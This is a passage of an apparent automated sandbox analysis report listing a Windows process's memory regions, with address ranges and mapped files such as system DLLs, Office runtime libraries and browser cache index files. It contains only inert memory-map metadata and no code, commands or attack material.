entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1978 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1982 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1983 start_va = 0x190000 end_va = 0x1f6fff entry_point = 0x190000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1984 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1985 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1986 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1987 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1988 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1989 start_va = 0x7fee5330000 end_va = 0x7fee5380fff entry_point = 0x7fee5330000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 1990 start_va = 0x7fee5390000 end_va = 0x7fee53adfff entry_point = 0x7fee5390000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 1991 start_va = 0x7fee53b0000 end_va = 0x7fee53d6fff entry_point = 0x7fee53b0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1992 start_va = 0x7fef7a40000 end_va = 0x7fef7ab5fff entry_point = 0x7fef7a40000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 1993 start_va = 0x7fef7b00000 end_va = 0x7fef7b02fff entry_point = 0x7fef7b00000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1994 start_va = 0x7fef7b10000 end_va = 0x7fef7b12fff entry_point = 0x7fef7b10000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1995 start_va = 0x7fef7b20000 end_va = 0x7fef7b22fff entry_point = 0x7fef7b20000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1996 start_va = 0x7fef7b30000 end_va = 0x7fef7b32fff entry_point = 0x7fef7b30000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1997 start_va = 0x7fef7b40000 end_va = 0x7fef7b44fff entry_point = 0x7fef7b40000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1998 start_va = 0x7fef7b50000 end_va = 0x7fef7b54fff entry_point = 0x7fef7b50000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1999 start_va = 0x7fef7b60000 end_va = 0x7fef7b62fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2000 start_va = 0x7fef7b70000 end_va = 0x7fef7c0cfff entry_point = 0x7fef7b70000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 2001 start_va = 0x7fef7c10000 end_va = 0x7fef7c13fff entry_point = 0x7fef7c10000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2002 start_va = 0x7fef7c20000 end_va = 0x7fef7c23fff entry_point = 0x7fef7c20000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2003 start_va = 0x7fef7c30000 end_va = 0x7fef7c32fff entry_point = 0x7fef7c30000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2004 start_va = 0x7fef7c40000 end_va = 0x7fef7c43fff entry_point = 0x7fef7c40000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2005 start_va = 0x7fef7c50000 end_va = 0x7fef7c52fff entry_point = 0x7fef7c50000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2006 start_va = 0x7fef7c60000 end_va = 0x7fef7c62fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2007 start_va = 0x7fef7c70000 end_va = 0x7fef7c72fff entry_point = 0x7fef7c70000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2008 start_va = 0x7fef7c80000 end_va = 0x7fef7c82fff entry_point = 0x7fef7c80000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2009 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff entry_point = 0x7fef7c90000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2010 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff entry_point = 0x7fef7ca0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2011 start_va = 0x7fef7cb0000 end_va = 0x7fef7da1fff entry_point = 0x7fef7cb0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 2012 start_va = 0x7fef7db0000 end_va = 0x7fef7db3fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2013 start_va = 0x7fef7dc0000 end_va = 0x7fef7dd6fff entry_point = 0x7fef7dc0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 2014 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2015 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 2016 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2017 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2018 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2019 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 2020 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2021 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2022 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2023 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2024 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2025 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2026 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2027 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2028 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2029 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2030 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2031 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2032 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2033 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2034 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2035 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2036 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2386 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2387 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2388 start_va = 0x60000 end_va = 0x66fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2389 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2390 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2391 start_va = 0x200000 end_va = 0x2bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 2392 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2393 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2394 start_va = 0x530000 end_va = 0x6b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 2395 start_va = 0x6c0000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 2396 start_va = 0x850000 end_va = 0xc42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 2397 start_va = 0xc50000 end_va = 0xd4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 2398 start_va = 0xd90000 end_va = 0xe0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 2399 start_va = 0xe10000 end_va = 0x10defff entry_point = 0xe10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2400 start_va = 0x1100000 end_va = 0x11fffff entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 2401 start_va = 0x1240000 end_va = 0x124ffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2402 start_va = 0x1300000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 2403 start_va = 0x7fee75b0000 end_va = 0x7fee764ffff entry_point = 0x7fee75b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2404 start_va = 0x7fef35b0000 end_va = 0x7fef3691fff entry_point = 0x7fef35b0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2405 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2406 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2407 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2408 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2409 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2410 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2411 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2412 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2413 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2414 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2443 start_va = 0x4e0000 end_va = 0x4e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 2444 start_va = 0x4f0000 end_va = 0x4f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 2445 start_va = 0x500000 end_va = 0x501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2446 start_va = 0x510000 end_va = 0x517fff entry_point = 0x510000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2447 start_va = 0xd50000 end_va = 0xd51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 2448 start_va = 0xd60000 end_va = 0xd63fff entry_point = 0xd60000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2449 start_va = 0xd70000 end_va = 0xd73fff entry_point = 0xd70000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2450 start_va = 0xd80000 end_va = 0xd80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 2451 start_va = 0x10e0000 end_va = 0x10e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010e0000" filename = "" Region: id = 2452 start_va = 0x1440000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2453 start_va = 0x1540000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 2454 start_va = 0x1640000 end_va = 0x16fffff entry_point = 0x1640000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2455 start_va = 0x1700000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 2456 start_va = 0x1890000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 2457 start_va = 0x19e0000 end_va = 0x1a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 2458 start_va = 0x1b30000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2459 start_va = 0x1d60000 end_va = 0x1e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 2460 start_va = 0x1e60000 end_va = 0x21a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 2461 start_va = 0x21b0000 end_va = 0x22affff entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 2462 start_va = 0x2340000 end_va = 0x234ffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 2463 start_va = 0x2380000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 2464 start_va = 0x2530000 end_va = 0x262ffff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 2465 start_va = 0x2630000 end_va = 0x272ffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 2466 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2467 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2468 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2469 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2470 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2471 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2472 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2473 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2474 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2475 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2476 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2477 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2478 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2479 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2480 start_va = 